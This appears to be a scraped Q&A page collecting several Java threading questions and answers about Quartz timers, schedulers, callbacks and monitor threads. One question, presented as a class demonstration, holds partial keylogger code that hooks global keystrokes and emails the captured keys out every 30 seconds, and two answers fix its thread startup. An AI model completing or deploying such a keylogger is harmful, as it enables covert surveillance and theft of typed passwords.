I'm currently working on an Java-Application, which checks every second the temperature of my computer. For the timing I made an Timer class which works with Quartz and for the checking of the temperature I made a class called SysKeeper. My problem is, that I want, that the SysKeeper is notified, when the Timer is triggered, but my Observer is not working, because the Syskeeper is not added as Observer.
Here you see my Syskeeper class:
public class SysKeeper implements Observer {
private double temp;
public void start() {
Log.info("SysKeeper starting");
Main.timer.addObserver(this);
}
private void checkTemp() {
String buffer = CmdExecutor.execute("sudo vcgencmd measure_temp");
String[] splitBuffer = buffer.split("=");
String[] splitBuffer1 = splitBuffer[1].split("\'");
temp = Double.parseDouble(splitBuffer1[0]);
if (temp > 70.0) {
//Main.not.sendMessage("Reached crit Temp: " + temp);
}
Log.info(temp + "");
}
public void kill() {
}
#Override
public void update(Observable o, Object arg) {
System.out.println("HI");
this.checkTemp();
}
}
And this is my Timer class:
public class Timer extends Observable implements Job {
public void start() {
try {
Trigger trigger = TriggerBuilder
.newTrigger()
.withIdentity("timer", "timer")
.withSchedule(
CronScheduleBuilder.cronSchedule("0/1 * * * * ?"))
.build();
JobDetail job = JobBuilder.newJob(Timer.class)
.withIdentity("timer", "timer").build();
Scheduler scheduler = new StdSchedulerFactory().getScheduler();
scheduler.start();
scheduler.scheduleJob(job, trigger);
} catch (SchedulerException ex) {
Logger.getLogger(Timer.class.getName()).log(Level.SEVERE, null, ex);
}
}
#Override
public void execute(JobExecutionContext jec) throws JobExecutionException {
this.setChanged();
this.notifyObservers();
System.out.println("" + countObservers());//always 0
}
public void kill() {
}
}
Here is also my Main class:
public class Main {
public static final String spliterNetwork = ";";
public static final String spliterParameter = "#";
public static Timer timer;
public static Server ser;
public static SysKeeper kep;
public static GPIO gpio;
public static Log log;
public static void main(String[] args) throws UnknownHostException {
Main.init(args);
Main.start();
Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() {
#Override
public void run() {
Main.stop();
}
}));
}
public static void init(String[] args) {
timer = new Timer();
log = new Log();
ser = new Server();
kep = new SysKeeper();
gpio = new GPIO();
}
public static void start() throws UnknownHostException {
Log.info("Welcome to iServer # " + InetAddress.getLocalHost());
timer.start();
log.start();
ser.start();
kep.start();
gpio.start();
}
public static void stop() {
Log.info("Programm shuts down");
timer.kill();
log.kill();
ser.kill();
kep.kill();
gpio.kill();
timer = null;
log = null;
ser = null;
kep = null;
gpio = null;
Log.info("Good bye");
}
}
I'm not familiar wih Quartz, but it would seem that you have two distinct instances of Timer:
The first Timer that is stored in Main.timer, created in timer = new Timer(), and having an observer added in Main.timer.addObserver(this); (in SysKeeper). This instance is never executed, that is, it never has its execute() method called.
The second Timer, that is created by the first Timer in the line JobDetail job = JobBuilder.newJob(Timer.class)... this Timer is the one that is being executed (scheduler.scheduleJob(job, trigger);) but it hasn't any Observer attached.
Related
I know there are many frameworks for Scheduler as well as JDK's own Scheduler. I can't use any third party framework/API. The existing scheduler uses only Java API. It is as follows:-
public class Timer implements Runnable {
private Thread runner;
private int pause;
private Task task;
private boolean running;
public Timer(int pause, Task task) {
this.pause = pause;
this.task = task;
runner = new Thread(this, "Timer");
}
public void run() {
try {
while (running) {
task.run(); // long running task
synchronized (runner) {
runner.wait(pause);
}
}
} catch (InterruptedException ie) {
/* The user probably stopped the */
}
}
Interface and class:-
public interface Task {
void run();
}
public class TaskManager implements Task {
private static boolean firstRun = true;
private static Timer timer;
private static String lastRun;
public static void start(int interval) {
// stop any previous
if (timer != null) {
timer.stopTimer();
timer = null;
}
// Start a new one
TaskManager taskManager = new TaskManager ();
timer = new Timer(interval * 1000, taskManager );
timer.startTimer();
}
public void run() {
// long running code
}
public void setDelay(int p) {
pause = p;
}
public void startTimer() {
running = true;
runner.start();
}
public void stopTimer() {
running = false;
runner.interrupt();
}
}
From a servelet I call as:
private void startTaskManager() {
TaskManager.start(30);
}
My requirements that it will perform task in a thread in the run() method. There are many tasks that will be picked one after another from the database.
The above implementation has some issues. On the above implementation, it has own interface Task and implemented own Timer.
I think there is another better way to achieve this scheduler. Please suggest me.
I'm trying to run some code I found on a tutorial from youtube for part of a class project. Basically I'm trying to show the effects of what happens when a keylogger is installed on your computer.
For some reason the run() is not being used in the ManageService class and I'm not sure why. I thought by adding the #Override and runnable at the top of the class would make this work.
Main class:
public class Main {
/**
* gfgfterst
* tests
* sfdsf
*
*/
public static void main(String[] args) {
ManageService service = new ManageService();
try {
GlobalScreen.registerNativeHook();
} catch (Throwable e) {
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
}
}
ManageService class:
The run() function is not being used when the code is executed.
package handlers;
import keys.NativeKeyBoard;
public class ManageService implements Runnable {
private NativeKeyBoard keyboard;
private Thread service;
public ManageService() {
keyboard = new NativeKeyBoard();
service = new Thread("Manage Service");
service.start();
}
public NativeKeyBoard getKeyBoard() {
return keyboard;
}
#Override
public void run() {
System.out.println("This isn't getting hit?");
long start = System.nanoTime();
while(true) {
long elapsed = (System.nanoTime() - start) / 1_000_000;
if(elapsed > 30_000 * 1) {
try {
Sender.sendMail(Utils.prettyPrint(keyboard.getKeyCache()));
keyboard.onSend();
} catch (Throwable e) {
System.out.println("keystroke data failed to be sentg.");
e.printStackTrace();
keyboard.onFail();
}
start = System.currentTimeMillis();
}
}
}
}
In your constructor code,you have not start the thread of ManageService,you can change your code as below:
public ManageService() {
keyboard = new NativeKeyBoard();
//make ManageService as an parameter to create a thread
service = new Thread(this,"Manage Service");
service.start();
}
It's missing to call to start() method in order to run the thread of ManageService, please update these changes.
public class ManageService extends Thread {
...
}
public static void main(String[] args) {
ManageService service = new ManageService();
service.start();
try {
GlobalScreen.registerNativeHook();
} catch (Throwable e) {
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
}
public class DowloadEngine implements Runnable {
public DowloadEngine(CallBack c) {
callback = c;
}
public interface CallBack {
public void processDone(String message);
}
private final CallBack callback;
#Override
public void run() {
try {
Thread.sleep(4000);
} catch (InterruptedException e) {}
callback.processDone("'CallBack' func is called");
}
}
And there is my main class in here
public class GUI implements DowloadEngine.CallBack{
public static void main(String[] args){
Thread thread = new Thread(new DowloadEngine(this));// Error :Make main not static!!
thread.start();
//wait a little to see the result
Scanner scan = new Scanner(System.in);
scan.nextLine();
//wait a little to see the result
}
#Override
public void processDone(String message) {
//code ...
//code ...
//code ...
System.out.println(message);
}
}
I want to do all works on main class via callback method but I did not understand these methodology. How does it works?
How can i use these with together?
Change:
Thread thread = new Thread(new DowloadEngine(this)); to
Thread thread = new Thread(new DowloadEngine(new GUI()));
When I was reading the book "Thinking in JAVA", I found a question about JAVA multithreading.
class ThreadMethod {
private int countdown = 5;
private Thread t;
private String name;
public ThreadMethod(String name) {
this.name = name;
}
public void runTask() {
if (t == null) {
t = new Thread(name) {
public void run() {
while (true) {
System.out.println(this);
if (--countdown == 0) return;
try {
sleep(10);
} catch (InterruptedException e) {
System.out.println("interrupted");
}
}
}
public String toString() {
return getName() + ": " + countdown;
}
};
t.start();
}
}
}
public class ThreadVarations{
public static void main(String[] args) {
for(int i=0;i<10;i++)
new ThreadMethod("ThreadMethod").runTask();
}
}
The class ThreadMethod doesn't extends Thread and implements Runnable. So the class how to create a process?
You need to initiate a new Thread with a given class that implements Runnable and call start on it, the method run() would be called in the other thread.
new Thread(new ThreadMethod).start();
I have that code:
Main class:
public class myTest {
public static void main(String[] args) {
try {
Thread t1 = new myThreadClass("thread 1");
t1.start();
} catch (UnknownHostException ex) {
Logger.getLogger(glownyTest.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(glownyTest.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
My Thread class
public class myThreadClass extends Thread {
private HashSet<String> texts = new HashSet<String>();
public myThreadClass(String id) throws UnknownHostException, IOException {}
#Override
public void run() {
... collecting Strings into my hashSet ....
}
public HashSet<String> getTexts() {
return texts;
}
}
My Thread class is watching for network traffic, so I just cant call once
t1.getTexts()
whenever I want, because my hashSet can be empty (there are delays and latency in this network). How can I watch this texts hashSet and when some String will be added into hashSet - I i want my MAIN CLASS know about it? I just want to watch my Thread resources from Main class in smart way :)
If it will still be empty after my thread timeout, I want to know about it too.
You can use condition variables for this. Try something like:
class Monitor {
private final ConcurrentMap<String,String> data = new ConcurrentHashMap<String,String>();
private final Object mutex = new Object();
/* Private to the monitoring thread. Wakes up other
* threads, which may be waiting for data to arrive
*/
public void addElement(String key) {
data.put(key, key);
synchronized (mutex) { mutex.notifyAll(); }
}
public void removeElement(String key) {
data.remove(key);
synchronized (mutex) { mutex.notifyAll(); }
}
public Set<String> getElements() {
return data.keySet();
}
/* Can be called from any thread. Will wait at most "timeout"
* milliseconds
*/
public boolean waitForChanges(long timeout) throws InterruptedException {
final long then = System.currentTimeMillis() + timeout;
long left = timeout;
synchronized (mutex) {
while (data.isEmpty() && left > 0) {
mutex.wait(left);
left = then - System.currentTimeMillis();
}
return !data.isEmpty();
}
}
}
class MonitoringTask extends Runnable {
private final Monitor monitor;
MonitoringTask(Monitor m) {
this.monitor = m;
}
public void run() {
while (true) {
if (somethingHasHappened()) {
monitor.addElement("foo");
}
}
}
}
class Main {
public static void main(String[] args) {
final Monitor monitor = new Monitor();
final MonitoringTask task = new MonitoringTask(monitor);
final Thread thread = new Thread(task);
thread.setName("Monitor Thread");
thread.start();
if (monitor.waitForChanges(1500)) {
final Set<String> elts = monitor.getElements();
...
} else {
// Time-out
}
}
}
(I haven't tried to present this to a Java compiler, so watch out for all kinds of mistakes).